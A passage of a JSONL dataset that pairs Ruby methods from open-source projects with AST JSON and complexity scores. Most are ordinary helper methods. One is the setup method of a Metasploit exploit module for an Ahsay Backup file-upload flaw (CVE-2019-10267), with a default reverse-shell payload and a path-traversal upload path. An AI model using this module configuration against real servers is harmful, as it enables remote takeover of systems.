{\"type\":\"sym\",\"children\":[\"side\"]},{\"type\":\"sym\",\"children\":[\"left\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]}","id":"1deeb3fd-59ac-4b80-b260-023508cfbb83"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/coverage_report.rb","start_line":17,"raw_source":"def pick(keys)\n          coverage_files = files.select do |key|\n            keys.include?(key)\n          end\n\n          { files: coverage_files }\n        end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"pick\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keys\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"coverage_files\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"files\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"files\"]},{\"type\":\"lvar\",\"children\":[\"coverage_files\"]}]}]}]}]}","id":"04b6c1a7-b2f8-460e-8e19-94a2abef8c8f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/ahsay_backup_fileupload.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload',\n        'Description' => %q{\n          This module exploits an authenticated insecure file upload and code\n          execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute\n          the upload credentials are needed, default on Ahsay Backup trial\n          accounts are enabled so an account can be created.\n\n          It can be exploited in Windows and Linux environments to get remote code\n          execution (usualy as SYSTEM). This module has been tested successfully\n          on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this\n          flaw all connected clients can be configured to execute a command before\n          the backup starts. Allowing an attacker to takeover even more systems\n          and make it rain shells!\n\n          Setting the CREATEACCOUNT to true will create a new account, this is\n          enabled by default.\n          If credeantials are known enter these and run the exploit.\n        },\n        'Author' => [\n          'Wietse Boonstra'\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2019-10267'],\n          [ 'URL', 'https://www.wbsec.nl/ahsay/' ],\n          [ 'URL', 'http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe' ]\n        ],\n        'Privileged' => true,\n        'Platform' => 'win',\n        'DefaultOptions' => {\n          'RPORT' => 443,\n          'SSL' => true,\n          'PAYLOAD' => 'windows/meterpreter/reverse_tcp'\n        },\n        'Targets' => [\n          [\n            'Windows x86',\n            {\n              'Arch' => ARCH_X86,\n              'Platform' => 'win'\n            }\n          ],\n          [\n            'Linux x86', # should work but untested\n            {\n              'Arch' => ARCH_X86,\n              'Platform' => 'linux'\n            },\n          ],\n\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2019-06-01',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(443),\n        OptString.new('TARGETURI', [true, 'Path to Ahsay', '/']),\n        OptString.new('USERNAME', [true, 'Username for the (new) account', Rex::Text.rand_text_alphanumeric(8)]),\n        OptString.new('PASSWORD', [true, 'Password for the (new) account', Rex::Text.rand_text_alpha(8) + Rex::Text.rand_text_numeric(5) + Rex::Text.rand_char(\"\", \"!$%^&*\")]),\n        OptString.new('CREATEACCOUNT', [false, 'Create Trial account', 'false']),\n        OptString.new('UPLOADPATH', [false, 'Payload Path', '../../webapps/cbs/help/en']),\n\n      ]\n    )\n  end","complexity_score":22.85,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an authenticated insecure file upload and code\\n\"]},{\"type\":\"str\",\"children\":[\"          execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute\\n\"]},{\"type\":\"str\",\"children\":[\"          the upload credentials are needed, default on Ahsay Backup trial\\n\"]},{\"type\":\"str\",\"children\":[\"          accounts are enabled so an account can be created.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          It can be exploited in Windows and Linux environments to get remote code\\n\"]},{\"type\":\"str\",\"children\":[\"          execution (usualy as SYSTEM). This module has been tested successfully\\n\"]},{\"type\":\"str\",\"children\":[\"          on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this\\n\"]},{\"type\":\"str\",\"children\":[\"          flaw all connected clients can be configured to execute a command before\\n\"]},{\"type\":\"str\",\"children\":[\"          the backup starts. Allowing an attacker to takeover even more systems\\n\"]},{\"type\":\"str\",\"children\":[\"          and make it rain shells!\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Setting the CREATEACCOUNT to true will create a new account, this is\\n\"]},{\"type\":\"str\",\"children\":[\"          enabled by default.\\n\"]},{\"type\":\"str\",\"children\":[\"          If credeantials are known enter these and run the exploit.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Wietse Boonstra\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-10267\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.wbsec.nl/ahsay/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/meterpreter/reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows x86\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux x86\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-06-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to Ahsay\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username for the (new) account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password for the (new) account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[5]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_char\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"!$%^&*\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CREATEACCOUNT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Create Trial account\"]},{\"type\":\"str\",\"children\":[\"false\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"UPLOADPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Payload Path\"]},{\"type\":\"str\",\"children\":[\"../../webapps/cbs/help/en\"]}]}]}]}]}]}]}","id":"ead3fd08-0437-4616-843a-17f8eb05e7ba"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/server.rb","start_line":329,"raw_source":"def initialize\n        super\n        @_servers = []\n        @_server_connections = []\n        @_server_mutex = Mutex.new\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@_servers\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_server_connections\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_server_mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]}]}]}","id":"39f5a5ce-b655-4b15-9d61-c3da78919397"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/has_custom_fields.rb","start_line":11,"raw_source":"def append_field(target, key, value)\n      if target.has_key?(key)\n        target[key] = [target[key]] if !target[key].is_a? Array\n        target[key] << deserialize(key, value, false)\n      else\n        target[key] = deserialize(key, value, true)\n      end\n    end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"append_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"deserialize\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"deserialize\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"238059b3-727d-41ef-93c8-f4291b4270ee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/merge_requests/mergeability/results_store.rb","start_line":19,"raw_source":"def write(merge_check:, result_hash:)\n          interface.save_check(merge_check: merge_check, result_hash: result_hash)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"write\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"merge_check\"]},{\"type\":\"kwarg\",\"children\":[\"result_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"interface\"]},\"save_check\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_check\"]},{\"type\":\"lvar\",\"children\":[\"merge_check\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result_hash\"]},{\"type\":\"lvar\",\"children\":[\"result_hash\"]}]}]}]}]}","id":"4714c0e9-7970-4af2-99e8-dc5ba64fc2f7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/nexpose_simple_document.rb","start_line":278,"raw_source":"def collect_service_data\n      return unless in_tag(\"device\")\n      port_hash = {}\n      @report_data[:ports] ||= []\n      @state[:service].each do |k,v|\n        case k\n        when \"protocol\"\n          port_hash[:proto] = v\n        when \"port\"\n          port_hash[:port] = v\n        when \"name\"\n          sname = v.to_s.downcase.split(\"(\")[0].strip\n          if sname == \"<unknown>\"\n            port_hash[:name] = nil\n          else\n            port_hash[:name] = db.nmap_msf_service_map(sname)\n          end\n        end\n      end\n      if @state[:service_fingerprint]\n        port_hash[:info] = \"#{@state[:service_fingerprint]}\"\n      end\n      @report_data[:ports] << port_hash.clone\n      @state.delete :service_fingerprint\n      @state.delete :service\n      @report_data[:ports]\n    end","complexity_score":42.3,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_service_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"device\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"port_hash\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ports\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"protocol\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"to_s\"]},\"downcase\"]},\"split\",{\"type\":\"str\",\"children\":[\"(\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sname\"]},\"==\",{\"type\":\"str\",\"children\":[\"<unknown>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db\"]},\"nmap_msf_service_map\",{\"type\":\"lvar\",\"children\":[\"sname\"]}]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_fingerprint\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_fingerprint\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ports\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port_hash\"]},\"clone\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"service_fingerprint\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ports\"]}]}]}]}","id":"726e5494-80c2-4f64-af05-d487a4b64870"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/apache_j_p.rb","start_line":12,"raw_source":"def get\n      self.data != 0\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"1ed41b2e-fe18-42a0-a4fe-e14f5ba9a2a6"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/multiline_literal_brace_layout.rb","start_line":126,"raw_source":"def last_line_heredoc?(node, parent = nil)\n        parent ||= node\n\n        if node.respond_to?(:loc) &&\n           node.loc.respond_to?(:heredoc_end) &&\n           node.loc.heredoc_end.last_line >= parent.last_line\n          return true\n        end\n\n        return false unless node.respond_to?(:children)\n\n        node.children.any? { |child| last_line_heredoc?(child, parent) }\n      end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"last_line_heredoc?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"optarg\",\"children\":[\"parent\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"loc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"heredoc_end\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"heredoc_end\"]},\"last_line\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"last_line\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"children\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"send\",\"children\":[null,\"last_line_heredoc?\",{\"type\":\"lvar\",\"children\":[\"child\"]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]}]}]}","id":"938bff46-f432-4765-8052-9e9eae573c9b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/oauth_callback_controller.rb","start_line":66,"raw_source":"def create_channel_with_inbox\n    ActiveRecord::Base.transaction do\n      channel_email = Channel::Email.create!(email: users_data['email'], account: account)\n\n      account.inboxes.create!(\n        account: account,\n        channel: channel_email,\n        name: users_data['name'] || fallback_name\n      )\n      channel_email\n    end\n  end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create_channel_with_inbox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel_email\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Channel\"]},\"Email\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"users_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[null,\"account\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"inboxes\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[null,\"account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"channel_email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"users_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"fallback_name\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"channel_email\"]}]}]}]}","id":"9381d20f-6c8e-427a-9a4c-025611f4fd67"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/agent.rb","start_line":60,"raw_source":"def configure(conf)\n      super\n\n      # initialize <match> and <filter> elements\n      conf.elements('filter', 'match').each { |e|\n        if !Fluent::Engine.supervisor_mode && e.for_another_worker?\n          next\n        end\n        pattern = e.arg.empty? ? '**' : e.arg\n        type = e['@type']\n        raise ConfigError, \"Missing '@type' parameter on <#{e.name}> directive\" unless type\n        if e.name == 'filter'\n          add_filter(type, pattern, e)\n        else\n          add_match(type, pattern, e)\n        end\n      }\n    end","complexity_score":28.8,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"elements\",{\"type\":\"str\",\"children\":[\"filter\"]},{\"type\":\"str\",\"children\":[\"match\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Engine\"]},\"supervisor_mode\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"for_another_worker?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"pattern\"